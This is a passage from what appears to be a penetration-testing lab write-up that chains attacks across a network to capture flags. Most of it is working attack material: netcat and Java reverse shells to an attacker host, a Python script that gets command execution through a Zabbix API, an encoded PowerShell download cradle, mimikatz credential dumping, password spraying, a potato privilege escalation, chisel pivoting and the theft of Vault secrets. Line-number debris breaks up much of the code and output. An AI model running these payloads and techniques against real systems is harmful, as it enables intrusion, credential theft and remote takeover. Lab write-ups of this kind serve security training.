powershell -c Start-Process -FilePath "C:\windows\tasks\nc.exe" -ArgumentList '-nv 10.10.14.10 80 -e cmd.exe'
Then:
1
powershell -c Start-Process -FilePath C:\windows\tasks\nc.exe -ArgumentList '-nv 10.10.14.10 443 -e cmd.exe'
Run it:
1
.\portaloo45.exe 10.9.30.1-255
Sorting the output down to its hosts:
1
10.9.30.1
2
10.9.30.10
3
10.9.30.11
4
10.9.30.12
5
10.9.30.13
6
10.9.30.200
The IP and ports:
1
10.9.30.1:22
2
10.9.30.11:22
3
10.9.30.12:445
4
10.9.30.12:443
5
10.9.30.1:53
6
10.9.30.10:389
7
10.9.30.1:80
8
10.9.30.13:135
9
10.9.30.12:3389
10
10.9.30.12:135
11
10.9.30.12:5985
12
10.9.30.10:53
13
10.9.30.13:445
14
10.9.30.10:445
15
10.9.30.10:464
16
10.9.30.10:636
17
10.9.30.10:135
18
10.9.30.10:3389
19
10.9.30.10:88
20
10.9.30.10:5985
21
10.9.30.13:3389
22
10.9.30.13:5985
23
10.9.30.200:135
24
10.9.30.200:445
25
10.9.30.200:5985
26
10.9.30.200:3389
Nothing out of the ordinary, some ssh and rdp though.
Scanning for apps:
1
.\portaloo45.exe 10.9.30.1,10.9.30.10,10.9.30.11,10.9.30.12,10.9.30.13,10.9.30.200 80,443,8080,8443,8834,8000,8140
Only
10.9.30.12:443
came back.
Nothing was found. However, I did notice I missed 10.9.10.16.
Zabbix 1
# proxychains curl -I http://10.9.10.16/zabbix/
2
ProxyChains-3.1 (http://proxychains.sf.net)
3
curl: /usr/local/lib/libcurl.so.4: no version information available (required by curl)
4
|S-chain|--127.0.0.1:13005--10.9.10.16:80--OK
5
HTTP/1.1 200 OK
6
Date: Tue, 09 Jun 2020 19:25:29 GMT
7
Server: Apache/2.4.29 (Ubuntu)
8
Set-Cookie: zbx_sessionid=c34e0ed29b869476e27699605cc44264; HttpOnly
9
Set-Cookie: PHPSESSID=smolqvc3epfsn8pf87c2th93bj; path=/zabbix/; HttpOnly
10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
11
Cache-Control: no-store, no-cache, must-revalidate
12
Pragma: no-cache
13
X-Content-Type-Options: nosniff
14
X-XSS-Protection: 1; mode=block
15
X-Frame-Options: SAMEORIGIN
16
Content-Type: text/html; charset=UTF-8
After some time, I found that the credentials were:
1
zabapi:Zabbix
Despite it saying
disabled
, this is actually a good message and means
api
access is allowed. This exploit should work: https://www.exploit-db.com/exploits/3 9937 Heres what I learnt from the API. Theres one user:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"user.get","params": {"output":"extend"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"userid": "3",
6
"alias": "zabapi",
7
"name": "",
8
"surname": "",
9
"url": "",
{
10
"autologin": "0",
11
"autologout": "0",
12
"lang": "en_US",
13
"refresh": "30",
14
"type": "2",
15
"theme": "default",
16
"attempt_failed": "0",
17
"attempt_ip": "10.9.10.10",
18
"attempt_clock": "1591730176",
19
"rows_per_page": "50"
20
21
"id": 1
22
}],
}
Two groups:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"usergroup.get","params": {"output":"extend"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"usrgrpid": "12",
6
"name": "No access to the frontend",
7
"gui_access": "2",
8
"users_status": "0",
9
"debug_mode": "0"
{
10
},
11
{
12
"usrgrpid": "16",
13
"name": "API Users",
14
"gui_access": "2",
15
"users_status": "0",
16
"debug_mode": "0"
17
18 19
}],
"id": 1 }
Two hosts:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"host.get","params":{},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"hostid": "10106",
6
"proxy_hostid": "0",
7
"host": "D3WKT001",
8
"status": "0",
9
"disable_until": "0",
{
10
"error": "",
11
"available": "1",
12
"errors_from": "0",
13
"lastaccess": "0",
14
"ipmi_authtype": "0",
15
"ipmi_privilege": "2",
16
"ipmi_username": "",
17
"ipmi_password": "",
18
"ipmi_disable_until": "0",
19
"ipmi_available": "0",
20
"snmp_disable_until": "0",
21
"snmp_available": "0",
22
"maintenanceid": "0",
23
"maintenance_status": "0",
24
"maintenance_type": "0",
25
"maintenance_from": "0",
26
"ipmi_errors_from": "0",
27
"snmp_errors_from": "0",
28
"ipmi_error": "",
29
"snmp_error": "",
30
"jmx_disable_until": "0",
31
"jmx_available": "0",
32
"jmx_errors_from": "0",
33
"jmx_error": "",
34
"name": "D3WKT001",
35
"flags": "0",
36
"templateid": "0",
37
"description": "",
38
"tls_connect": "1",
39
"tls_accept": "1",
40
"tls_issuer": "",
41
"tls_subject": "",
42
"tls_psk_identity": "",
43
"tls_psk": ""
44
},
45
{
46
"hostid": "10107",
47
"proxy_hostid": "0",
48
"host": "COREWKT002",
49
"status": "0",
50
"disable_until": "0",
51
"error": "",
52
"available": "1",
53
"errors_from": "0",
54
"lastaccess": "0",
55
"ipmi_authtype": "0",
56
"ipmi_privilege": "2",
57
"ipmi_username": "",
58
"ipmi_password": "",
59
"ipmi_disable_until": "0",
60
"ipmi_available": "0",
61
"snmp_disable_until": "0",
62
"snmp_available": "0",
63
"maintenanceid": "0",
64
"maintenance_status": "0",
65
"maintenance_type": "0",
66
"maintenance_from": "0",
67
"ipmi_errors_from": "0",
68
"snmp_errors_from": "0",
69
"ipmi_error": "",
70
"snmp_error": "",
71
"jmx_disable_until": "0",
72
"jmx_available": "0",
73
"jmx_errors_from": "0",
74
"jmx_error": "",
75
"name": "COREWKT002",
76
"flags": "0",
77
"templateid": "0",
78
"description": "",
79
"tls_connect": "1",
80
"tls_accept": "1",
81
"tls_issuer": "",
82
"tls_subject": "",
83
"tls_psk_identity": "",
84
"tls_psk": ""
85
86
"id": 1
87
}],
}
One script:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"script.get","params": {"output":"extend"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"scriptid": "12",
6
"name": "zabbix",
7
"command": "echo hello",
8
"host_access": "3",
9
"usrgrpid": "0",
10
"groupid": "0",
11
"description": "",
12
"confirmation": "",
13
"type": "0",
14
"execute_on": "0"
15
16
"id": 1
17
{
}],
}
I cant update a user:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"user.update","params": {"userid":"3","type":"3"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"error":
4
5
"code": -32602,
6
"message": "Invalid params.",
7
"data": "You are not allowed to alter privileges for user
{
\"zabapi\"." 8 9 10
},
"id": 1 }
I cant create a user:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc": "2.0","method": "user.create","params":{"alias": "mez0","passwd": "mez0mez0123!","type":3,"usrgrps": [{"usrgrpid": "16"}],"user_medias": [{"mediatypeid": "1","sendto": "
[email protected]","active": 0,"severity": 63,"period": "1-7,00:00-24:00"}]},"auth": "e1a7d0378472f808ede17107f09bcde3","id": 1}'
1
{
2
"jsonrpc": "2.0",
3
"error":
4
5
"code": -32602,
6
"message": "Invalid params.",
7
"data": "You do not have permissions to create users."
8
9 10
{
},
"id": 1 }
I cant create a script:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc": "2.0","method": "script.create","params": {"name": "mez0 test","command": "curl http://10.10.14.10","host_access": 2,"type":0,"usrgrpid":12,"execute_on":0},"auth": "e1a7d0378472f808ede17107f09bcde3","id": 1}'
1
{
2
"jsonrpc": "2.0",
3
"error":
4
5
"code": -32500,
6
"message": "Application error.",
7
"data": "You do not have permission to perform this operation."
8
9 10
{
},
"id": 1 }
I cant update a script:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"script.update","params": {"scriptid":"12","hostid":"10106"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"error":
4
5
"code": -32500,
6
"message": "Application error.",
7
"data": "You do not have permission to perform this operation."
8
9
"id": 1
10
{
},
}
But I cant execute the existing scripts: with id
1
12
:
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"script.execute","params": {"scriptid":"12","hostid":"10106"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result":
4
5
"response": "success",
6
"value": "hello"
7
8
"id": 1
9
{
},
}
The script I can run is the one I mentioned earlier:
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"scriptid": "12",
6
"name": "zabbix",
7
"command": "echo hello",
{
8
"host_access": "3",
9
"usrgrpid": "0",
10
"groupid": "0",
11
"description": "",
12
"confirmation": "",
13
"type": "0",
14
"execute_on": "0"
15
16
"id": 1
17
}],
}
The thing I've probably missed here is a very specific combination. Further enumation shows that a action can be created:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc": "2.0","method": "action.create","params":{"name": "mez0 shell","eventsource": 0,"status": 0,"esc_period": "60","filter":{"evaltype": 0,"conditions": [{"conditiontype": 3,"operator": 0,"value": "mez0 shell"}]},"operations": [{"operationtype": 1,"opcommand":{"command": "powershell -c invoke-webrequest -uri http://10.10.14.10","type": "0","execute_on": "0"},"opcommand_hst": [{"hostid ": "10106","opcommand_hstid ": "1","operationid": "1"}]}]},"auth": "f51a2b00ecc5539e731482d6facce321","id": 1}'
1
{
2
"jsonrpc": "2.0",
3
"result":
4
5
"actionids": [13]
6
7 8
{ },
"id": 1 }
I can get this:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"action.get","params": {"output":"extend"},"auth":"f51a2b00ecc5539e731482d6facce321", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"actionid": "9",
6
"name": "Trigger action9999",
7
"eventsource": "0",
8
"status": "0",
9
"esc_period": "60",
10
"def_shortdata": "",
11
"def_longdata": "",
12
"recovery_msg": "0",
13
"r_shortdata": "",
14
"r_longdata": ""
15
},
16
{
17
"actionid": "13",
18
"name": "mez0 shell",
19
"eventsource": "0",
20
"status": "0",
21
"esc_period": "60",
22
"def_shortdata": "",
23
"def_longdata": "",
24
"recovery_msg": "0",
25
"r_shortdata": "",
26
"r_longdata": ""
27
28
"id": 1
29
{
}],
}
However it doesnt trigger. Looking into the hosts, theyre both disabled:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"host.get","params":{},"auth":"f51a2b00ecc5539e731482d6facce321", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"hostid": "10106",
6
"proxy_hostid": "0",
7
"host": "D3WKT001",
8
"status": "0",
9
"disable_until": "0",
{
10
"error": "",
11
"available": "1",
12
"errors_from": "0",
13
"lastaccess": "0",
14
"ipmi_authtype": "0",
15
"ipmi_privilege": "2",
16
"ipmi_username": "",
17
"ipmi_password": "",
18
"ipmi_disable_until": "0",
19
"ipmi_available": "0",
20
"snmp_disable_until": "0",
21
"snmp_available": "0",
22
"maintenanceid": "0",
23
"maintenance_status": "0",
24
"maintenance_type": "0",
25
"maintenance_from": "0",
26
"ipmi_errors_from": "0",
27
"snmp_errors_from": "0",
28
"ipmi_error": "",
29
"snmp_error": "",
30
"jmx_disable_until": "0",
31
"jmx_available": "0",
32
"jmx_errors_from": "0",
33
"jmx_error": "",
34
"name": "D3WKT001",
35
"flags": "0",
36
"templateid": "0",
37
"description": "",
38
"tls_connect": "1",
39
"tls_accept": "1",
40
"tls_issuer": "",
41
"tls_subject": "",
42
"tls_psk_identity": "",
43
"tls_psk": ""
44
},
45
{
46
"hostid": "10107",
47
"proxy_hostid": "0",
48
"host": "COREWKT002",
49
"status": "0",
50
"disable_until": "0",
51
"error": "",
52
"available": "1",
53
"errors_from": "0",
54
"lastaccess": "0",
55
"ipmi_authtype": "0",
56
"ipmi_privilege": "2",
57
"ipmi_username": "",
58
"ipmi_password": "",
59
"ipmi_disable_until": "0",
60
"ipmi_available": "0",
61
"snmp_disable_until": "0",
62
"snmp_available": "0",
63
"maintenanceid": "0",
64
"maintenance_status": "0",
65
"maintenance_type": "0",
66
"maintenance_from": "0",
67
"ipmi_errors_from": "0",
68
"snmp_errors_from": "0",
69
"ipmi_error": "",
70
"snmp_error": "",
71
"jmx_disable_until": "0",
72
"jmx_available": "0",
73
"jmx_errors_from": "0",
74
"jmx_error": "",
75
"name": "COREWKT002",
76
"flags": "0",
77
"templateid": "0",
78
"description": "",
79
"tls_connect": "1",
80
"tls_accept": "1",
81
"tls_issuer": "",
82
"tls_subject": "",
83
"tls_psk_identity": "",
84
"tls_psk": ""
85
86 87 88
}
], "id": 1 }
"available"
is set to
1
, which means disabled:
“ Enable host monitoring, i.e. set its status to 0.
If I try to update it, I dont get errors, but it doesnt update:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc": "2.0","method": "host.update","params": {"hostid": "10106","status": 0},"auth": "f51a2b00ecc5539e731482d6facce321","id": 1}'
1
{
2
"jsonrpc": "2.0",
3
"result":
4
5
"hostids": ["10106"]
6
7 8
{ },
"id": 1 }
Checking the host:
1
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"host.get","params":{"output":"extend","filter": {"hostid":"10106"}},"auth":"f51a2b00ecc5539e731482d6facce321", "id":1}'
1
{
2
"jsonrpc": "2.0",
3
"result": [
4
5
"hostid": "10106",
6
"proxy_hostid": "0",
7
"host": "D3WKT001",
8
"status": "0",
9
"disable_until": "0",
{
10
"error": "",
11
"available": "1",
12
"errors_from": "0",
13
"lastaccess": "0",
14
"ipmi_authtype": "0",
15
"ipmi_privilege": "2",
16
"ipmi_username": "",
17
"ipmi_password": "",
18
"ipmi_disable_until": "0",
19
"ipmi_available": "0",
20
"snmp_disable_until": "0",
21
"snmp_available": "0",
22
"maintenanceid": "0",
23
"maintenance_status": "0",
24
"maintenance_type": "0",
25
"maintenance_from": "0",
26
"ipmi_errors_from": "0",
27
"snmp_errors_from": "0",
28
"ipmi_error": "",
29
"snmp_error": "",
30
"jmx_disable_until": "0",
31
"jmx_available": "0",
32
"jmx_errors_from": "0",
33
"jmx_error": "",
34
"name": "D3WKT001",
35
"flags": "0",
36
"templateid": "0",
37
"description": "",
38
"tls_connect": "1",
39
"tls_accept": "1",
40
"tls_issuer": "",
41
"tls_subject": "",
42
"tls_psk_identity": "",
43
"tls_psk": ""
44
45
}
],
46
"id": 1
47
}
"available"
is still
1
Checking if the host is
1
. writable
:
proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "ContentType: application/json-rpc" -d '{"jsonrpc": "2.0","method": "host.iswritable","params": ["10106"],"auth": "f51a2b00ecc5539e731482d6facce321","id": 1}'
1
{
2
"jsonrpc": "2.0",
3
"result": true,
4
"id": 1
5
}
RCE After a lot of hassle, I got RCE via my script:
1
python3 zabbix2.py 'powershell.exe -c invoke-webrequest -uri http://10.10.14.10:443/nc64.exe -outfile c:\windows\tasks\nc64.exe'
2
python3 zabbix2.py 'c:\windows\tasks\nc64.exe -nv 10.10.14.10 80 -e cmd.exe'
As soon as this pops, I dropped a Cobalt payload to get a beacon. The script:
1
#!/usr/bin/python3
2 3
import requests
4
import json
5
import string
6
import argparse
7
from time import sleep
8
from random import randint, choice
9
from tqdm import tqdm
10 11
parser = argparse.ArgumentParser()
12
parser.add_argument('cmd', metavar="type",help="Command to run")
13
args = parser.parse_args()
14 15
username = 'zabapi'
16
password = 'Zabbix'
17
headers = {'Content-Type': 'application/json-rpc'}
18
url = 'http://10.9.10.16/zabbix/api_jsonrpc.php'
19
proxies = {'http': 'socks4://127.0.0.1:13004', 'https': 'socks4://127.0.0.1:13004'}
20 21 22
def random_string(): return ''.join(choice(string.ascii_uppercase + string.digits) for _ in range(12))
23 24
def get_token():
25
auth_data = {
26
"jsonrpc": "2.0",
27
"method": "user.login",
28
"params": {
29
"user": username,
30
"password": password,
31
32
"id": 1,
33
"auth": None
34
},
}
35 36
try:
37
auth_request = requests.post(url, data=json.dumps(auth_data), headers=headers, proxies=proxies)
38
except Exception as e:
39
print('[!] Received an error whilst grabbing an auth token: ', e)
40
quit()
41 42
if auth_request.status_code != 200:
43
print('[-] Failed to authenticate :(')
44
quit()
45 46
auth = auth_request.json()
47
try:
48
token = auth['result']
49
except Exception as e:
50
print('[!] Received an error whilst extracting the token')
51
quit()
52
print('[+] Got an authentication token: ' + token)
53
return token
54 55
def item():
56
item_name = random_string()
57
token = get_token()
58
delay = '60'
59 60
add_item = {
61
"jsonrpc": "2.0",
62
"method": "item.create",
63
"params":
64
65
"name": item_name,
66
"key_": f"system.run[\"{args.cmd}\"]",
67
"hostid": "10106",
68
"type": 0,
69
"value_type": 3,
70
"interfaceid": 2,
71
"delay": delay
72
73
"auth": token,
74
"id": 1
75
{
},
}
76 77
print('[+] payload is: ',add_item)
78 79
add_item_response = requests.post(url, data=json.dumps(add_item), headers=headers, proxies=proxies)
80 81
add_item_json = add_item_response.json()
82 83
if 'error' in add_item_json.keys():
84
print('[!] Received an error:', add_item_json['error']['data'])
85
exit()
86 87
try:
88
itemid = add_item_json['result']['itemids'][0]
89
print('[+] Got itemid: ',itemid)
90
except Exception as e:
91
print(e)
92
quit()
93 94
s = 15
95
print(f'[!] Sleeping for the {s} seconds...')
96
for i in tqdm(range(s)):
97
sleep(3)
98 99
print('[!] Hopefully it triggered, deleting the item...')
100 101
delete_item = {
102
"jsonrpc": "2.0",
103
"method": "item.delete",
104
"params": [itemid],
105
"auth": token,
106
"id": 1
107
}
108 109
delete_item_response = requests.post(url, data=json.dumps(delete_item), headers=headers, proxies=proxies)
110
111
delete_item_json = delete_item_response.json()
112 113
print('[!] Got response from delete: ', delete_item_json)
114 115
def main():
116
print(f'[!] Authenticating as {username}:{password}')
117
print('[!] Using these proxies: ' + str(proxies.values()))
118
item()
119 120
main()
New flag:
1
In
Cyb3rN3t1C5{M0n!t0r_t00l_RC3}
mimikatz.exe
:
1
Secret
: DefaultPassword
2
cur/text: ohD6ubo5ie
Spraying this:
1
.\SMBSpray.exe d3v.local ohD6ubo5ie .\d3v-users.txt
2
Spraying the d3v.local Domain with 205 users!
3
[+]
[email protected]:ohD6ubo5ie is valid!
Based on the next flag, its Jenkins:
1
Ask jeeves?
Jenkins I'm not sure who mentioned it, but I know the next step is to add a cert to Windows, same as before. So, add hosts:
1
10.10.110.12
jenkins.cyber.local
2
10.10.110.11
certenroll.cyber.local
3
10.10.110.12
mail.cyber.local
4
10.10.110.12
adfs.cyber.local
This can all be found on drupal:
“ Jenkins: https://jenkins.cyber.local (Public IP: 10.10.110.12. Only DevOPS can authenticate to this portal) Have a wonderful day
Next, import the two certs. Add this to the enrollment:
1
https://certenroll.cyber.local/ADPolicyProvider_CEP_UsernamePassword/service. svc/CEP
Validate with:
1
d3v\james.peck
2
ohD6ubo5ie
Request a User Cert and browse to: https://jenkins.cyber.local Once on Jenkins, shell is easy:
1
String host="10.10.14.10";
2
int port=80;
3
String cmd="cmd.exe";
4
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(p e.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Th read.sleep(50);try {p.exitValue();break;}catch (Exception e) {}};p.destroy();s.close();
This is at http://jenkins.cyber.local/script . From there, the usual:
1
powershell.exe -nop -encodedcommand SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=
Rooting D3WEBJW 1
C:\Windows\Tasks>.\rotten.exe -run_process .\artifact.exe
2
.\rotten.exe -run_process .\artifact.exe
3
Starting DCERPC NTLM Relay...
4
GOT TYPE1 MESSAGE TOKEN-RELAY!
5
GOT TYPE2 MESSAGE (CHALLENGE) from RPCs
6
GOT TYPE3 MESSAGE (AUTH) TOKEN-RELAY
7
You are now: SYSTEM
8
Executed:.\artifact.exe
9
Process Created Successfully
10 11
C:\Windows\Tasks>
Easy. Another flag:
1
Cyb3rN3t1C5{J3nk!n$_$AML}
Three left! The next flag:
1
Ask and you shall receive
Notes:
1 2
Directory of c:\notes
3
01/07/2020
12:11 PM
.
4
01/07/2020
12:11 PM
..
5
01/07/2020
08:53 AM 280 ansible_aes.key
6
01/07/2020
08:53 AM 278 ansible_passwd.txt
7
02/10/2020
06:36 PM 351 Dev_Notes.txt
8
3 File(s)
9
2 Dir(s)
909 bytes
73,800,298,496 bytes free
10 11
c:\notes>type ansible_passwd.txt
12
type ansible_passwd.txt
13
76492d1116743f0423413b16050a5345MgB8AEwAbgBiADIAaQBCAEIAMgBTADkARQBVAEsASwBh AFkAcQBpAHIAawBLAGcAPQA9AHwAYQBjAGIAMQA5ADQANAA2AGIAMABhADEANgAwAGUAMgBhADUA MwBkADYANQA4ADQAYwBmADkAZAA3AGQAMQAyADAANQAxADQAMwAwADcAOQBjADYAZQAyADEAYgBl ADUAOQA3ADgAMgAyAGUAYwA0ADgAMwA4AGEAYwA1AGMAZgA=
14 15
c:\notes>type Dev_Notes.txt
16
type Dev_Notes.txt
17
1. Configure Hashoicorp Vault with username and password authentication (done)
18
2. Store ansible playbook secret key into Hashicorp Vault
(done)
19
3. Figure out how to communicate with vault.cyber.local API using the AES and passwd with username ansible
20
3a. Extract ansible playbook secret via API and decrypt ansible playbooks on ansible.cyber.local
21
c:\notes>
This can be decoded into:
1
$encrytedFlag = '76492d1116743f0423413b16050a5345MgB8AEwAbgBiADIAaQBCAEIAMgBTADkARQBVAEsASwBh AFkAcQBpAHIAawBLAGcAPQA9AHwAYQBjAGIAMQA5ADQANAA2AGIAMABhADEANgAwAGUAMgBhADUAM wBkADYANQA4ADQAYwBmADkAZAA3AGQAMQAyADAANQAxADQAMwAwADcAOQBjADYAZQAyADEAYgBlAD UAOQA3ADgAMgAyAGUAYwA0ADgAMwA4AGEAYwA1AGMAZgA='
2
$key = (49,222,253,86,26,137,92,43,29,200,17,203,88,97,39,38,60,119,46,44,219,179,13 ,194,191,199,78,10,4,40,87,159)
3
$SecureFlag = ConvertTo-SecureString -String $encrytedFlag -Key $key
4
[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.M arshal]::SecureStringToBSTR($SecureFlag))
To give a password:
1
6daDjIU0UqEdvGI
The notes say to figure out how to talk to is
10.9.30.13
vault.cyber.local
, which when pinged
.
vault.cyber.local As per this:
1
1. Configure Hashoicorp Vault with username and password authentication (done)
Creds need to be found for vault , it can be accessed like so:
1
proxychains ./vault login
It also says:
1
3. Figure out how to communicate with vault.cyber.local API using the AES and passwd with username ansible
vault
1 2
has these options:
-ca-cert=
Path on the local disk to a single PEM-encoded CA certificate to
verify 3
the Vault server's SSL certificate. This takes precedence over -ca-
path. 4
This can also be specified via the VAULT_CACERT environment variable.
5 6 7
-ca-path=
Path on the local disk to a directory of PEM-encoded CA certificates
to 8
verify the Vault server's SSL certificate. This can also be specified
9
via the VAULT_CAPATH environment variable.
10 11
-client-cert=
12
Path on the local disk to a single PEM-encoded CA certificate to use
13
for TLS authentication to the Vault server. If this flag is specified,
14
-client-key is also required. This can also be specified via the
15
VAULT_CLIENT_CERT environment variable.
16
17 18
-client-key=
Path on the local disk to a single PEM-encoded private key matching
the 19
client certificate from -client-cert. This can also be specified via
the 20
VAULT_CLIENT_KEY environment variable.
Username auth:
1
proxychains ./vault login -method=userpass username=my-username address="http://10.9.30.13:8200"
The binary is crap, curl is better. To get a token:
1
proxychains curl --request POST --data '{"password": "6daDjIU0UqEdvGI"}' http://10.9.30.13:8200/v1/auth/userpass/login/ansible
1
{
2
"request_id": "865c09e9-3ec7-4667-7a0c-ffa3ea37c266",
3
"lease_id": "",
4
"renewable": false,
5
"lease_duration": 0,
6
"data": null,
7
"wrap_info": null,
8
"warnings": null,
9
"auth":
10
11
"client_token": "s.djXxAg61B1QTcv7TL42zZmgs",
12
"accessor": "QwzNYlMxO0k2R9gkfIHeQIqu",
13
"policies": ["ansible", "default"],
14
"token_policies": ["ansible", "default"],
15
"metadata":
16
17
"username": "ansible"
18
19
"lease_duration": 1800,
20
"renewable": true,
21
"entity_id": "99a5f474-d2c2-9130-f989-b2f3a062d6c8",
22
"token_type": "service",
23
"orphan": true
24 25
}
{
}
{ },
As per the documentation:
“ the application would first authenticate to Vault which would return a Vault API token. The application would use that token for future communication with Vault.
Then:
1
proxychains curl -H "X-Vault-Token: s.djXxAg61B1QTcv7TL42zZmgs" -X GET http://10.9.30.13:8200/v1/secret?help=1
This api is not working with curl. I'll use the client. To do this, I'll upload chisel.
vault binary Start the server on Ubuntu:
1
/pentest/inf/chisel/chisel_1.4.0_linux_amd64 server -p 80 --reverse
Then, from Cobalt:
1
shell .\chisel_1.4.0_windows_amd64.exe client 10.10.14.10:80 R:8200:127.0.0.1:8200
I also did this:
1
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=8200 connectaddress=10.9.30.13 connectport=8200
127.0.0.1:8200
goes through chisel, then looks up 8200 on the jenkins box,
which is then pushed to vault. With that, export
VAULT_ADDR
:
1
export VAULT_ADDR=http://127.0.0.1:8200
Login:
1
./vault login -method=userpass username=ansible
2 3
Password (will be hidden):
4
Success! You are now authenticated. The token information displayed below
5
is already stored in the token helper. You do NOT need to run "vault login"
6
again. Future Vault requests will automatically use this token.
7 8
Key
Value
9
---
-----
10
token
s.bVD13NwqonrtNBl8EmEzTbeo
11
token_accessor t3cFtQOSKkEgXkfWih4zN1J5
12
token_duration 30m
13
token_renewable
14
token_policies ["ansible" "default"]
15
identity_policies
16
policies ["ansible" "default"]
17
token_meta_username
true [] ansible
List:
1
./vault kv list secret/
2
Keys
3
----
4
Cybernetics-Flag
5
ansible-secret
Flag:
1
./vault kv get
secret/Cybernetics-Flag/
2
====== Metadata ======
3
Key
Value
4
---
-----
5
created_time 2020-02-17T15:10:56.2516873Z
6
deletion_time
n/a
7
destroyed
false
8
version
1
9 10
==== Data ====
11
Key Value
12
--- -----
13
flag
Cyb3rN3t1C5{V@ult_AP!}
And the ansible data:
1
./vault kv get secret/ansible-secret
2
====== Metadata ======
3
Key
Value
4
---
-----
5
created_time 2020-01-04T03:29:24.3053968Z
6
deletion_time
n/a
7
destroyed
false
8
version
1
9 10
========== Data ==========
11
Key
Value
12
---
-----
13
playbook-password
aXYxQqxIWldJHX5sJVrCzVEkdQmP33
Ansible The note says:
1
3a. Extract ansible playbook secret via API and decrypt ansible playbooks on ansible.cyber.local
The IP:
1
Pinging ansible.cyber.local [10.9.30.11] with 32 bytes of data:
2
Reply from 10.9.30.11: bytes=32 time